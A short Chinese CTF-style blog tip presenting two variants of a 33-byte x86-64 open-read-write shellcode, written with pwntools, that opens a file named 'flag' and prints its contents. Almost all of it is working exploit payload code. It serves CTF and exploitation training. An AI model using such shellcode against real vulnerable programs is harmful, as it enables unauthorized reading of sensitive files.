PWN ORW 最短的shellcode 33字节!
rdx 就是read(1,buf,n)中的n,这个值太大或者太小都没办法正常读,小了读不完整,大了会覆盖到不可写区域导致写入失败。所以分两种情况:
shellcode = asm('''
mov edx,0x67616c66 #写文件名的同时置rdx为合法值
push rdx
mov rdi,rsp
xor esi,esi #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall #read(0,buf,n)
xor edi,2 #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数
mov eax,edi
syscall #write(1,buf,n)
''')
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2 #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数,保证rdi=1即可
mov eax,edi
syscall #write(1,buf,n)
''')


浙公网安备 33010602011771号